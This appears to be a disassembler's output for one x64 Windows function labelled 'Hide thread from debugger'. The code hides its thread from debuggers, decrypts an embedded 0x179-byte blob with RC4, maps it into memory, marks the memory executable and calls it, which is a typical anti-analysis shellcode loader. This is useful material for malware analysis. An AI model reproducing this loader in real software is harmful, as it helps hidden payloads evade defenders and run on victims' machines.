Function at 0x140001000
Capabilities:
Hide thread from debugger

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x2a0
mov eax, 0x60
mov rax, qword gs:[eax]
cmp byte [rax + 2], 1
jne 0x14000103b
call qword [sym.imp.kernel32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0x11
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtSetInformationThread]
lea rdi, [rsp + 0x38]
mov qword [rdi], 1
xorps xmm0, xmm0
movups xmmword [rdi + 8], xmm0
mov eax, 1
xor ebx, ebx
lea r14, [0x14001449a]
xor esi, esi
cmp rbx, 0x179
je 0x14000109d
mov bpl, byte [rbx + r14]
cmp rsi, qword [rsp + 0x40]
jne 0x140001087
mov rcx, rdi
mov rdx, rsi
call fcn.140001f31
mov rax, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x48]
mov byte [rax + rsi], bpl
mov rsi, qword [rsp + 0x48]
inc rsi
mov qword [rsp + 0x48], rsi
inc rbx
jmp 0x14000105e
mov qword [rsp + 0x50], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov rdi, qword [rsp + 0x38]
test rsi, rsi
je 0x140001102
lea rbx, [rsp + 0x50]
mov rcx, rbx
mov rdx, rsi
call fcn.140001d8b
mov r14, qword [rbx]
mov r15, qword [rbx + 0x10]
lea rax, [r14 + r15]
lea rcx, [rsi - 1]
xor edx, edx
mov byte [rax + rdx], 0
cmp rcx, rdx
je 0x1400010e7
inc rdx
jmp 0x1400010d9
add r15, rsi
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0x178]
mov rdx, rdi
mov r8, rsi
mov r9, r14
jmp 0x140001125
and qword [rsp + 0x20], 0
xor r15d, r15d
lea rcx, [rsp + 0x178]
mov r14d, 1
mov r9d, 1
mov rdx, rdi
xor r8d, r8d
call fcn.140002090
cmp dword [rsp + 0x178], 3
jne 0x140001416
mov rbx, qword [rsp + 0x180]
cmp r15, rbx
cmovb rbx, r15
lea r15, [rsp + 0x50]
mov rsi, qword [r15 + 8]
mov rdx, qword [rsp + 0x40]
mov rcx, rdi
call fcn.140001f4c
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
movaps xmm0, xmmword [0x1400143c0]
lea r12, [rsp + 0x159]
movups xmmword [r12 - 1], xmm0
movaps xmm0, xmmword [0x1400143d0]
movups xmmword [r12 + 0xf], xmm0
mov rcx, rbx
call fcn.140001f60
mov rsi, rax
mov rdi, rdx
mov rcx, rax
mov rdx, r14
mov r8, rbx
call fcn.140005540
xor r14d, r14d
mov r8d, 0x102
mov rcx, r15
xor edx, edx
call fcn.140005be0
mov byte [rsp + r14 + 0x50], r14b
inc r14
cmp r14, 0x100
jne 0x1400011bd
lea rax, [rsp + 0x178]
lea rcx, [rsp + 0x158]
xor edx, edx
mov r9, rcx
mov r8, rax
xor r10d, r10d
cmp r10, 0x100
je 0x14000122b
lea r11, [r9 + 1]
cmp r9, r8
cmove r9, rcx
cmove r8, rax
cmove r11, r12
mov bpl, byte [rsp + r10 + 0x50]
add dl, bpl
add dl, byte [r9]
movzx r9d, dl
mov r14b, byte [rsp + r9 + 0x50]
mov byte [rsp + r10 + 0x50], r14b
inc r10
mov byte [rsp + r9 + 0x50], bpl
mov r9, r11
jmp 0x1400011e9
lea r14, [rsp + 0x178]
lea rdx, [rsp + 0x50]
mov r8d, 0x102
mov rcx, r14
call fcn.140005540
lea r15, [rsp + 0x50]
mov r8d, 0x102
mov rcx, r15
mov rdx, r14
call fcn.140005540
and word [r15 + 0x102], 0
mov cl, byte [r15 + 0x100]
mov al, byte [r15 + 0x101]
inc cl
movzx ecx, cl
xor edx, edx
cmp rbx, rdx
je 0x1400012b9
lea r8d, [rcx + rdx]
movzx r8d, r8b
mov r9b, byte [rsp + r8 + 0x50]
add al, r9b
movzx r10d, al
mov r11b, byte [rsp + r10 + 0x50]
mov byte [rsp + r8 + 0x50], r11b
mov byte [rsp + r10 + 0x50], r9b
add r9b, byte [rsp + r8 + 0x50]
movzx r8d, r9b
mov r8b, byte [rsp + r8 + 0x50]
xor byte [rsi + rdx], r8b
inc rdx
jmp 0x14000127a
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
call fcn.140001f4c
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
cmp rbx, 1
mov r15, rbx
adc r15, 0
mov r9, r15
shr r9, 0x20
mov dword [rsp + 0x20], r15d
and qword [rsp + 0x28], 0
mov rcx, 0xffffffffffffffff
xor edx, edx
mov r8d, 0x40
call sub.kernel32.dll_CreateFileMappingW
test rax, rax
je 0x14000140f
mov r12, rax
mov qword [rsp + 0x20], r15
mov rcx, rax
mov edx, 0xf003f
xor r8d, r8d
xor r9d, r9d
call sub.kernel32.dll_MapViewOfFile
mov r14, rax
mov rcx, r12
call sub.kernel32.dll_CloseHandle
test r14, r14
je 0x14000140f
lea r9, [rsp + 0x50]
and dword [r9], 0
mov rcx, r14
mov rdx, r15
mov r8d, 4
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x14000140f
and qword [rsp + 0x50], 0
mov rcx, r14
mov rdx, rsi
mov r8, rbx
call fcn.140005540
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rbx
and qword [rsp + 0x70], 0
call fcn.140003543
cmp r14, rax
je 0x1400013cd
call fcn.140003559
test rax, rax
je 0x140001434
mov rcx, rax
mov rax, r14
xor edx, edx
div rcx
sub r14, rdx
add rdx, rbx
lea r9, [rsp + 0x178]
and dword [r9], 0
mov rcx, r14
mov r8d, 0x20
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x140001425
lea rax, [rsp + 0x60]
mov rcx, qword [rax + 0x10]
movups xmm0, xmmword [rax]
and qword [rax - 0x10], 0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rcx
call qword [rax]
lea rcx, [rsp + 0x50]
call fcn.1400034eb
mov rcx, rsi
mov rdx, rdi
call fcn.140001f4c
nop
add rsp, 0x2a0
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
call fcn.140003582
jmp 0x140001434
mov rdx, qword [rsp + 0x58]
mov rcx, r14
call fcn.140001f4c
jmp 0x140001434
call fcn.140003582
lea rcx, [rsp + 0x50]
call fcn.1400034eb
ud2